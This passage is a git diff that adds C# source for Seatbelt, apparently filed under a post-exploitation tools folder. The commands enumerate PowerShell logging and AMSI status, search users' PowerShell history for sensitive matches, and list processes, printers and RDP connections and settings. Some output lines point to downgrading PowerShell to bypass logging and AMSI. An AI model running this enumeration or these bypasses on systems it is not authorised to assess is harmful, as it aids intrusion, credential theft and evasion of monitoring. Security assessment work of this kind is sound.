TranscriptionInvocationLogging { get; } + public string? TranscriptionDirectory { get; } + public bool ModuleLogging { get; } + public string[]? ModuleNames { get; } + public bool ScriptBlockLogging { get; } + public bool? ScriptBlockInvocationLogging { get; } + public bool OsSupportsAmsi { get; } + } + + [CommandOutputType(typeof(PowerShellDTO))] + internal class PowerShellTextFormatter : TextFormatterBase + { + public PowerShellTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (PowerShellDTO)result; + var lowestVersion = dto.InstalledVersions.Min(v => (new Version(v))); + var highestVersion = dto.InstalledVersions.Max(v => (new Version(v))); + + WriteLine("\n Installed CLR Versions"); + foreach (var v in dto.InstalledCLRVersions) + { + WriteLine(" " + v); + } + + WriteLine("\n Installed PowerShell Versions"); + foreach (var v in dto.InstalledVersions) + { + WriteLine(" " + v); + if((v == "2.0") && !dto.InstalledCLRVersions.Contains("2.0.50727")) + { + WriteLine(" [!] Version 2.0.50727 of the CLR is not installed - PowerShell v2.0 won't be able to run."); + } + } + + WriteLine("\n Transcription Logging Settings"); + WriteLine(" Enabled : " + dto.TranscriptionLogging); + WriteLine(" Invocation Logging : " + dto.TranscriptionInvocationLogging); + WriteLine(" Log Directory : " + dto.TranscriptionDirectory); + + WriteLine("\n Module Logging Settings"); + WriteLine(" Enabled : " + dto.ModuleLogging); + WriteLine(" Logged Module Names :"); + + if (dto.ModuleNames != null) + { + foreach (var m in dto.ModuleNames) + { + WriteLine(" " + m); + } + } + + if (dto.ModuleLogging) + { + if (lowestVersion.Major < 3) + { + WriteLine(" [!] You can do a PowerShell version downgrade to bypass the logging."); + } + + if (highestVersion.Major < 3) + { + WriteLine(" [!] Module logging is configured. Logging will not occur, however, because it requires PSv3."); + } + } + + + WriteLine("\n Script Block Logging Settings"); + WriteLine(" Enabled : " + dto.ScriptBlockLogging); + WriteLine(" Invocation Logging : " + dto.ScriptBlockInvocationLogging); + if (dto.ScriptBlockLogging) + { + if (highestVersion.Major < 5) + { + WriteLine(" [!] Script block logging is configured. Logging will not occur, however, because it requires PSv5."); + } + + if (lowestVersion.Major < 5) + { + WriteLine(" [!] You can do a PowerShell version downgrade to bypass the logging."); + } + } + + WriteLine("\n Anti-Malware Scan Interface (AMSI)"); + WriteLine(" OS Supports AMSI: " + dto.OsSupportsAmsi); + if (dto.OsSupportsAmsi && lowestVersion.Major < 3) + { + WriteLine(" [!] You can do a PowerShell version downgrade to bypass AMSI."); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PowerShellHistory.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PowerShellHistory.cs new file mode 100644 index 0000000..65dab38 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PowerShellHistory.cs @@ -0,0 +1,120 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.RegularExpressions; +using Seatbelt.Util; + +namespace Seatbelt.Commands.Windows +{ + internal class PowerShellHistoryCommand : CommandBase + { + + public override string Command => "PowerShellHistory"; + public override string Description => "Searches PowerShell console history files for sensitive regex matches."; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public PowerShellHistoryCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // get our "sensitive" cmdline regexes from a common helper function. + var powershellRegex = MiscUtil.GetProcessCmdLineRegex(); + + var context = 3; // number of lines around the match to display + + if (args.Length >= 1) + { + var allArgs = String.Join(" ", args); + powershellRegex = new[] { new Regex(allArgs, RegexOptions.IgnoreCase & RegexOptions.Multiline) }; + } + + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + var consoleHistoryPath = $"{dir}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt"; + + if (!File.Exists(consoleHistoryPath)) + continue; + + var content = File.ReadAllText(consoleHistoryPath); + + foreach (var reg in powershellRegex) + { + var m = reg.Match(content); + if (!m.Success) + continue; + + var contextLines = new List(); + + var scriptBlockParts = content.Split('\n'); + for (var i = 0; i < scriptBlockParts.Length; i++) + { + if (!scriptBlockParts[i].Contains(m.Value)) + continue; + + var printed = 0; + for (var j = 1; i - j > 0 && printed < context; j++) + { + if (scriptBlockParts[i - j].Trim() == "") + continue; + + contextLines.Add(scriptBlockParts[i - j].Trim()); + printed++; + } + + printed = 0; + contextLines.Add(m.Value.Trim()); + for (var j = 1; printed < context && i + j < scriptBlockParts.Length; j++) + { + if (scriptBlockParts[i + j].Trim() == "") + continue; + + contextLines.Add(scriptBlockParts[i + j].Trim()); + printed++; + } + break; + } + + var contextJoined = string.Join("\n", contextLines.ToArray()); + + yield return new PowerShellHistoryDTO( + userName, + consoleHistoryPath, + m.Value, + contextJoined + ); + } + } + } + + internal class PowerShellHistoryDTO : CommandDTOBase + { + public PowerShellHistoryDTO(string? userName, string? fileName, string? match, string? context) + { + UserName = userName; + FileName = fileName; + Match = match; + Context = context; + } + + public string? UserName { get; set; } + public string? FileName { get; set; } + public string? Match { get; set; } + public string? Context { get; set; } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PrintersCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PrintersCommand.cs new file mode 100644 index 0000000..1c00bea --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/PrintersCommand.cs @@ -0,0 +1,69 @@ +#nullable disable +using System.Collections.Generic; +using System.Management; +using Seatbelt.Util; + + +namespace Seatbelt.Commands.Windows +{ + internal class PrintersCommand : CommandBase + { + public override string Command => "Printers"; + public override string Description => "Installed Printers (via WMI)"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; // could if it wasn't for the SDDL + + public PrintersCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // lists installed printers via WMI (the Win32_Printer class) + var printerQuery = new ManagementObjectSearcher("SELECT * from Win32_Printer"); + foreach (var printer in printerQuery.Get()) + { + var isDefault = (bool)printer.GetPropertyValue("Default"); + var isNetworkPrinter = (bool)printer.GetPropertyValue("Network"); + string printerSDDL = null; + var printerName = $"{printer.GetPropertyValue("Name")}"; + + try + { + var info = SecurityUtil.GetSecurityInfos(printerName, Interop.Advapi32.SE_OBJECT_TYPE.SE_PRINTER); + printerSDDL = info.SDDL; + } + catch + { + // eat it + } + + yield return new InstalledPrintersDTO( + printerName, + $"{printer.GetPropertyValue("Status")}", + printerSDDL, + isDefault, + isNetworkPrinter + ); + } + } + } + + internal class InstalledPrintersDTO : CommandDTOBase + { + public InstalledPrintersDTO(string name, string status, string sddl, bool isDefault, bool isNetworkPrinter) + { + Name = name; + Status = status; + Sddl = sddl; + IsDefault = isDefault; + IsNetworkPrinter = isNetworkPrinter; + } + public string Name { get; } + public string Status { get; } + public string Sddl { get; } + public bool IsDefault { get; } + public bool IsNetworkPrinter { get; } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ProcessOwnersCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ProcessOwnersCommand.cs new file mode 100644 index 0000000..b309ae3 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ProcessOwnersCommand.cs @@ -0,0 +1,80 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.Management; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + internal class ProcessesOwnerCommand : CommandBase + { + public override string Command => "ProcessOwners"; + public override string Description => "Running non-session 0 process list with owners. For remote use."; + public override CommandGroup[] Group => new[] { CommandGroup.Misc, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public ProcessesOwnerCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"Root\CIMV2", "SELECT * FROM Win32_Process WHERE SessionID != 0"); + var retObjectCollection = wmiData.Get(); + + foreach (ManagementObject Process in retObjectCollection) + { + var OwnerInfo = new string[2]; + + try + { + Process.InvokeMethod("GetOwner", (object[])OwnerInfo); + } + catch { } + var owner = ""; + + if (OwnerInfo[0] != null) + { + owner = String.Format("{0}\\{1}", OwnerInfo[1], OwnerInfo[0]); + + yield return new ProcessesOwnerDTO() + { + ProcessName = Process["Name"], + ProcessID = Process["ProcessId"], + Owner = owner + }; + } + } + } + + } + + internal class ProcessesOwnerDTO : CommandDTOBase + { + public object ProcessName { get; set; } + + public object ProcessID { get; set; } + + public object Owner { get; set; } + + } + + [CommandOutputType(typeof(ProcessesOwnerDTO))] + internal class ProcessOwnerFormatter : TextFormatterBase + { + public ProcessOwnerFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ProcessesOwnerDTO)result; + WriteLine(" {0,-50} {1,-10} {2}", dto.ProcessName, dto.ProcessID, dto.Owner); + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ProcessesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ProcessesCommand.cs new file mode 100644 index 0000000..4a7f62f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ProcessesCommand.cs @@ -0,0 +1,207 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Management; +using System.Text.RegularExpressions; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using Seatbelt.Util; + + +namespace Seatbelt.Commands.Windows +{ + class Module + { + public Module(string moduleName, string moduleFileName, string moduleFileDescription, string moduleOriginalFilename, string moduleCompanyName) + { + ModuleName = moduleName; + ModuleFileName = moduleFileName; + ModuleFileDescription = moduleFileDescription; + ModuleOriginalFilename = moduleOriginalFilename; + ModuleCompanyName = moduleCompanyName; + } + public string ModuleName { get; set; } + public string ModuleFileName { get; set; } + public string ModuleFileDescription { get; set; } + public string ModuleOriginalFilename { get; set; } + public string ModuleCompanyName { get; set; } + } + + internal class ProcessesCommand : CommandBase + { + public override string Command => "Processes"; + public override string Description => "Running processes with file info company names that don't contain 'Microsoft', \"-full\" enumerates all processes"; + public override CommandGroup[] Group => new[] { CommandGroup.System }; + public override bool SupportRemote => false; // other local Process" stuff prevents this + + public ProcessesCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // lists currently running processes that don't have "Microsoft Corporation" as the company name in their file info + // or all processes if "-full" is passed + + var enumerateModules = args.Length == 1 && args[0].ToLower().Equals("modules"); + + WriteHost(Runtime.FilterResults + ? "Collecting Non Microsoft Processes (via WMI)\n" + : "Collecting All Processes (via WMI)\n"); + + var wmiQueryString = "SELECT ProcessId, ParentProcessId, ExecutablePath, CommandLine FROM Win32_Process"; + using var searcher = new ManagementObjectSearcher(wmiQueryString); + using var results = searcher.Get(); + + var query = from p in Process.GetProcesses() + join mo in results.Cast() + on p.Id equals (int)(uint)mo["ProcessId"] + select new + { + Process = p, + ParentProcessId = (UInt32)mo["ParentProcessId"], + Path = (string)mo["ExecutablePath"], + CommandLine = (string)mo["CommandLine"], + }; + + foreach (var proc in query) + { + var isDotNet = false; + string? companyName = null; + string? description = null; + string? version = null; + + if (proc.Path != null) + { + isDotNet = FileUtil.IsDotNetAssembly(proc.Path); + + try + { + var myFileVersionInfo = FileVersionInfo.GetVersionInfo(proc.Path); + companyName = myFileVersionInfo.CompanyName; + description = myFileVersionInfo.FileDescription; + version = myFileVersionInfo.FileVersion; + } + catch + { + } + } + + if (Runtime.FilterResults) + { + if (companyName == null || string.IsNullOrEmpty(companyName.Trim()) || + (companyName != null && + Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase))) + { + continue; + } + } + + var processModules = new List(); + if (enumerateModules) + { + try + { + var modules = proc.Process.Modules; + foreach (ProcessModule module in modules) + { + var ProcessModule = new Module( + module.ModuleName, + module.FileVersionInfo.FileName, + module.FileVersionInfo.FileDescription, + module.FileVersionInfo.OriginalFilename, + module.FileVersionInfo.CompanyName + ); + processModules.Add(ProcessModule); + } + } + catch + { + // eat it + } + } + + yield return new ProcessesDTO( + proc.Process.ProcessName, + proc.Process.Id, + (int)proc.ParentProcessId, + companyName, + description, + version, + proc.Path, + proc.CommandLine, + isDotNet, + processModules + ); + } + } + } + + internal class ProcessesDTO : CommandDTOBase + { + public ProcessesDTO(string processName, int processId, int parentProcessId, string? companyName, string? description, string? version, string? path, string commandLine, bool? isDotNet, List modules) + { + ProcessName = processName; + ProcessId = processId; + ParentProcessId = parentProcessId; + CompanyName = companyName; + Description = description; + Version = version; + Path = path; + CommandLine = commandLine; + IsDotNet = isDotNet; + Modules = modules; + } + public string ProcessName { get; set; } + public string? CompanyName { get; set; } + public string? Description { get; set; } + public string? Version { get; set; } + public int ProcessId { get; set; } + public int ParentProcessId { get; set; } + public string? Path { get; set; } + public string CommandLine { get; set; } + public bool? IsDotNet { get; set; } + public List Modules { get; set; } + } + + [CommandOutputType(typeof(ProcessesDTO))] + internal class ProcessFormatter : TextFormatterBase + { + public ProcessFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ProcessesDTO)result; + + WriteLine(" {0,-40} : {1}", "ProcessName", dto.ProcessName); + WriteLine(" {0,-40} : {1}", "ProcessId", dto.ProcessId); + WriteLine(" {0,-40} : {1}", "ParentProcessId", dto.ParentProcessId); + WriteLine(" {0,-40} : {1}", "CompanyName", dto.CompanyName); + WriteLine(" {0,-40} : {1}", "Description", dto.Description); + WriteLine(" {0,-40} : {1}", "Version", dto.Version); + WriteLine(" {0,-40} : {1}", "Path", dto.Path); + WriteLine(" {0,-40} : {1}", "CommandLine", dto.CommandLine); + WriteLine(" {0,-40} : {1}", "IsDotNet", dto.IsDotNet); + + if (dto.Modules.Count != 0) + { + WriteLine(" {0,-40} :", "Modules"); + foreach (var module in dto.Modules) + { + if (!filterResults || String.IsNullOrEmpty(module.ModuleCompanyName) || !Regex.IsMatch(module.ModuleCompanyName, @"^Microsoft.*", RegexOptions.IgnoreCase)) + { + WriteLine(" {0,40} : {1}", "Name", module.ModuleName); + WriteLine(" {0,40} : {1}", "CompanyName", module.ModuleCompanyName); + WriteLine(" {0,40} : {1}", "FileName", module.ModuleFileName); + WriteLine(" {0,40} : {1}", "OriginalFileName", module.ModuleOriginalFilename); + WriteLine(" {0,40} : {1}\n", "FileDescription", module.ModuleFileDescription); + } + } + } + WriteLine(); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RDPSavedConnectionCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RDPSavedConnectionCommand.cs new file mode 100644 index 0000000..386897c --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RDPSavedConnectionCommand.cs @@ -0,0 +1,108 @@ +#nullable disable +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + class RDPConnection + { + public string RemoteHost { get; set; } + public string UserNameHint { get; set; } + } + + internal class RDPSavedConnectionCommand : CommandBase + { + public override string Command => "RDPSavedConnections"; + public override string Description => "Saved RDP connections stored in the registry"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public RDPSavedConnectionCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var SIDs = ThisRunTime.GetUserSIDs(); + //shows saved RDP connections, including username hints (if present) + foreach (var sid in SIDs) + { + if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes")) + { + continue; + } + + var subkeys = ThisRunTime.GetSubkeyNames(RegistryHive.Users, $"{sid}\\Software\\Microsoft\\Terminal Server Client\\Servers"); + if (subkeys == null) + { + continue; + } + + if (subkeys.Length <= 0) + { + continue; + } + + var connections = new List(); + + foreach (var host in subkeys) + { + var usernameHint = ThisRunTime.GetStringValue(RegistryHive.Users, + $"{sid}\\Software\\Microsoft\\Terminal Server Client\\Servers\\{host}", "UsernameHint"); + + var connection = new RDPConnection(); + connection.RemoteHost = host; + connection.UserNameHint = usernameHint; + connections.Add(connection); + } + + yield return new RDPSavedConnectionDTO() + { + SID = sid, + Connections = connections + }; + } + + yield break; + } + + internal class RDPSavedConnectionDTO : CommandDTOBase + { + public string SID { get; set; } + public List Connections { get; set; } + } + + [CommandOutputType(typeof(RDPSavedConnectionDTO))] + internal class RDPSavedConnectionCommandFormatter : TextFormatterBase + { + public RDPSavedConnectionCommandFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (RDPSavedConnectionDTO)result; + + if (dto.Connections.Count > 0) + { + WriteLine("Saved RDP Connection Information ({0})\n", dto.SID); + + WriteLine(" RemoteHost UsernameHint"); + WriteLine(" ---------- ------------"); + + foreach (var connection in dto.Connections) + { + WriteLine($" {connection.RemoteHost.PadRight(35)}{connection.UserNameHint}"); + } + WriteLine(); + } + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RDPSessionsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RDPSessionsCommand.cs new file mode 100644 index 0000000..3d085e4 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RDPSessionsCommand.cs @@ -0,0 +1,251 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Linq; +using System.Net; +using System.Runtime.InteropServices; +using System.Text; +using Seatbelt.Commands; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using static Seatbelt.Interop.Wtsapi32; + + +namespace Seatbelt.Commands.Windows +{ + internal class RDPSessionsCommand : CommandBase + { + public override string Command => "RDPSessions"; + public override string Description => "Current incoming RDP sessions (argument == computername to enumerate)"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public RDPSessionsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + + public override IEnumerable Execute(string[] args) + { + // adapted from http://www.pinvoke.net/default.aspx/wtsapi32.wtsenumeratesessions + var computerName = "localhost"; + + if (!string.IsNullOrEmpty(ThisRunTime.ComputerName)) + { + computerName = ThisRunTime.ComputerName; + } + else if (args.Length == 1) + { + computerName = args[0]; + } + + var server = WTSOpenServer(computerName); + + try + { + var ppSessionInfo = IntPtr.Zero; + var sessionCount = 0; + var level = 1; + + if (!WTSEnumerateSessionsEx(server, ref level, 0, ref ppSessionInfo, ref sessionCount)) + { + var errCode = Marshal.GetLastWin32Error(); + WriteError($"Failed to enumerate sessions on {server}. Error: {errCode} - " + new Win32Exception(errCode).Message); + yield break; + } + + var current = ppSessionInfo; + + for (var i = 0; i < sessionCount; i++) + { + var si = (WTS_SESSION_INFO_1)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO_1)); + current = (IntPtr)(current.ToInt64() + Marshal.SizeOf(typeof(WTS_SESSION_INFO_1))); + + // Now use WTSQuerySessionInformation to get the remote IP (if any) for the connection + IPAddress? clientIp = null; + if (WTSQuerySessionInformation(server, si.SessionID, WTS_INFO_CLASS.WTSClientAddress, + out var addressPtr, out _)) + { + var address = + (WTS_CLIENT_ADDRESS)Marshal.PtrToStructure(addressPtr, typeof(WTS_CLIENT_ADDRESS)); + + // TODO: Support other address families + if (address.AddressFamily == ADDRESS_FAMILY.AF_INET) + { + var str = string.Join(".", address.Address.Skip(2).Take(4).Select(b => b.ToString()).ToArray()); + clientIp = IPAddress.Parse(str); + } + + WTSFreeMemory(addressPtr); + } + + // Get Source Hostname + string? clientHostname = null; + if (WTSQuerySessionInformation(server, si.SessionID, WTS_INFO_CLASS.WTSClientName, + out var hostnamePtr, out _)) + { + clientHostname = Marshal.PtrToStringAuto(hostnamePtr); + WTSFreeMemory(hostnamePtr); + } + + //Get Source Display + WTS_CLIENT_DISPLAY? clientResolution = null; + if (WTSQuerySessionInformation(server, si.SessionID, WTS_INFO_CLASS.WTSClientDisplay, + out var displayPtr, out _)) + { + clientResolution = + (WTS_CLIENT_DISPLAY)Marshal.PtrToStructure(displayPtr, typeof(WTS_CLIENT_DISPLAY)); + + WTSFreeMemory(displayPtr); + } + + // Get Client Build + int? clientBuild = null; + if (WTSQuerySessionInformation(server, si.SessionID, WTS_INFO_CLASS.WTSClientBuildNumber, + out var clientBuildNumberPtr, out _)) + { + clientBuild = Marshal.ReadInt32(clientBuildNumberPtr); + WTSFreeMemory(clientBuildNumberPtr); + } + + // Get last input time + // Vista / Windows Server 2008+. - Previous versions we need to implement WINSTATIONINFORMATION - TODO + long? lastInputTime = null; + if (Environment.OSVersion.Version >= new Version(6, 0) && + WTSQuerySessionInformation(server, si.SessionID, WTS_INFO_CLASS.WTSSessionInfo, + out var sessionInfoPtr, out _)) + { + var sessionInfo = (WTSINFO)Marshal.PtrToStructure(sessionInfoPtr, typeof(WTSINFO)); + + lastInputTime = sessionInfo.LastInputTime; + + WTSFreeMemory(sessionInfoPtr); + } + + // Get Client's hardwareId + byte[]? clientHardwareId = null; + if (WTSQuerySessionInformation(server, si.SessionID, WTS_INFO_CLASS.WTSClientHardwareId, out var buffer, out var bytesRead)) + { + clientHardwareId = new byte[bytesRead]; + Marshal.Copy(buffer, clientHardwareId, 0, (int)bytesRead); + WTSFreeMemory(buffer); + } + + // Get Client's directory + string? clientDirectory = null; + if (WTSQuerySessionInformation(server, si.SessionID, WTS_INFO_CLASS.WTSClientDirectory, out buffer, out _)) + { + clientDirectory = Marshal.PtrToStringUni(buffer); + WTSFreeMemory(buffer); + } + + yield return new RDPSessionsDTO( + si.SessionID, + si.pSessionName, + si.pUserName, + si.pDomainName, + si.State, + si.pHostName, + si.pFarmName, + lastInputTime, + clientIp, + clientHostname, + clientResolution, + clientBuild, + clientHardwareId, + clientDirectory + ); + } + + WTSFreeMemory(ppSessionInfo); + } + finally + { + WTSCloseServer(server); + } + } + } + + internal class RDPSessionsDTO : CommandDTOBase + { + public RDPSessionsDTO(uint sessionId, string sessionName, string userName, string domainName, WTS_CONNECTSTATE_CLASS state, string hostName, string farmName, long? lastInputTime, IPAddress? clientIp, string? clientHostname, WTS_CLIENT_DISPLAY? clientResolution, int? clientBuild, byte[]? clientHardwareId, string? clientDirectory) + { + SessionID = sessionId; + SessionName = sessionName; + UserName = userName; + DomainName = domainName; + State = state; + HostName = hostName; + FarmName = farmName; + LastInputTime = lastInputTime; + ClientIp = clientIp; + ClientHostname = clientHostname; + ClientResolution = clientResolution; + ClientBuild = clientBuild; + ClientHardwareId = clientHardwareId; + ClientDirectory = clientDirectory; + } + public uint SessionID { get; } + public string SessionName { get; } + public string UserName { get; } + public string DomainName { get; } + public WTS_CONNECTSTATE_CLASS State { get; } + public string HostName { get; } + public string FarmName { get; } + + public long? LastInputTime { get; } + public IPAddress? ClientIp { get; } + public string? ClientHostname { get; } + public WTS_CLIENT_DISPLAY? ClientResolution { get; } + public int? ClientBuild { get; } + public byte[]? ClientHardwareId { get; } + public string? ClientDirectory { get; } + } + + [CommandOutputType(typeof(RDPSessionsDTO))] + internal class RdpSessionsTextFormatter : TextFormatterBase + { + public RdpSessionsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (RDPSessionsDTO)result; + + var lastInputStr = ""; + if (dto.LastInputTime != null) + { + var lastInputDt = DateTime.FromFileTimeUtc((long)dto.LastInputTime); + var t = DateTime.UtcNow - lastInputDt; + + lastInputStr = $"{t.Hours:D2}h:{t.Minutes:D2}m:{t.Seconds:D2}s:{t.Milliseconds:D3}ms"; + } + + + var clientResolution = ""; + if (dto.ClientResolution != null && dto.ClientResolution?.HorizontalResolution != 0) + { + var res = dto.ClientResolution; + clientResolution = + $"{res?.HorizontalResolution}x{res?.VerticalResolution} @ {res?.ColorDepth} bits per pixel"; + } + + WriteLine($" {"SessionID",-30}: {dto.SessionID}"); + WriteLine($" {"SessionName",-30}: {dto.SessionName}"); + WriteLine($" {"UserName",-30}: {dto.DomainName}\\{dto.UserName}"); + WriteLine($" {"State",-30}: {dto.State}"); + WriteLine($" {"HostName",-30}: {dto.HostName}"); + WriteLine($" {"FarmName",-30}: {dto.FarmName}"); + WriteLine($" {"LastInput",-30}: {lastInputStr}"); + WriteLine($" {"ClientIP",-30}: {dto.ClientIp}"); + WriteLine($" {"ClientHostname",-30}: {dto.ClientHostname}"); + WriteLine($" {"ClientResolution",-30}: {clientResolution}"); + WriteLine($" {"ClientBuild",-30}: {dto.ClientBuild}"); + WriteLine($" {"ClientHardwareId",-30}: {string.Join(",", dto.ClientHardwareId.Select(b => b.ToString()).ToArray())}"); + WriteLine($" {"ClientDirectory",-30}: {dto.ClientDirectory}\n"); + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RDPSettingsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RDPSettingsCommand.cs new file mode 100644 index 0000000..5327aa8 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/RDPSettingsCommand.cs @@ -0,0 +1,179 @@ +using Microsoft.Win32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using Seatbelt.Util; +using System.Collections.Generic; + + +namespace Seatbelt.Commands.Windows +{ + internal class RDPSettings : CommandBase + { + public override string Command => "RDPsettings"; + public override string Description => "Remote Desktop Server/Client Settings"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public RDPSettings(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // Client settings + var credDelegKey = @"Software\Policies\Microsoft\Windows\CredentialsDelegation"; + var restrictedAdmin = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, credDelegKey, + "RestrictedRemoteAdministration"); + var restrictedAdminType = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, credDelegKey, + "RestrictedRemoteAdministrationType"); + var serverAuthLevel = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, + @"HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services", "AuthenticationLevel"); + + var termServKey = @"SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services"; + var disablePwSaving = + RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, termServKey, "DisablePasswordSaving"); + + // Server settings + var nla = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, termServKey, "UserAuthentication"); + var blockClipboard = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, termServKey, "fDisableClip"); + var blockComPort = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, termServKey, "fDisableCcm"); + var blockDrives = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, termServKey, "fDisableCdm"); + var blockLptPort = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, termServKey, "fDisableLPT"); + var blockSmartCard = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, termServKey, "fEnableSmartCard"); + var blockPnp = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, termServKey, "fDisablePNPRedir"); + var blockPrinters = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, termServKey, "fDisableCpm"); + + yield return new RDPSettingsDTO( + new RDPClientSettings( + restrictedAdmin != null && restrictedAdmin != 0, + restrictedAdminType, + serverAuthLevel, + disablePwSaving == null || disablePwSaving == 1), + new RDPServerSettings( + nla, + blockClipboard, + blockComPort, + blockDrives, + blockLptPort, + blockSmartCard, + blockPnp, + blockPrinters + ) + ); + } + } + + internal class RDPClientSettings + { + public RDPClientSettings(bool restrictedRemoteAdministration, uint? restrictedRemoteAdministrationType, + uint? serverAuthLevel, bool disablePasswordSaving) + { + RestrictedRemoteAdministration = restrictedRemoteAdministration; + RestrictedRemoteAdministrationType = restrictedRemoteAdministrationType; + ServerAuthLevel = serverAuthLevel; + DisablePasswordSaving = disablePasswordSaving; + } + + public bool RestrictedRemoteAdministration { get; } + public uint? RestrictedRemoteAdministrationType { get; } + public uint? ServerAuthLevel { get; } + public bool DisablePasswordSaving { get; } + } + + internal class RDPServerSettings + { + public RDPServerSettings(uint? networkLevelAuthentication, uint? blockClipboardRedirection, uint? blockComPortRedirection, uint? blockDriveRedirection, uint? blockLptPortRedirection, uint? allowSmartCardRedirection, uint? blockPnPDeviceRedirection, uint? blockPrinterRedirection) + { + NetworkLevelAuthentication = networkLevelAuthentication; + BlockClipboardRedirection = blockClipboardRedirection; + BlockComPortRedirection = blockComPortRedirection; + BlockDriveRedirection = blockDriveRedirection; + BlockLptPortRedirection = blockLptPortRedirection; + AllowSmartCardRedirection = allowSmartCardRedirection; + BlockPnPDeviceRedirection = blockPnPDeviceRedirection; + BlockPrinterRedirection = blockPrinterRedirection; + } + public uint? NetworkLevelAuthentication { get; } + public uint? BlockClipboardRedirection { get; } 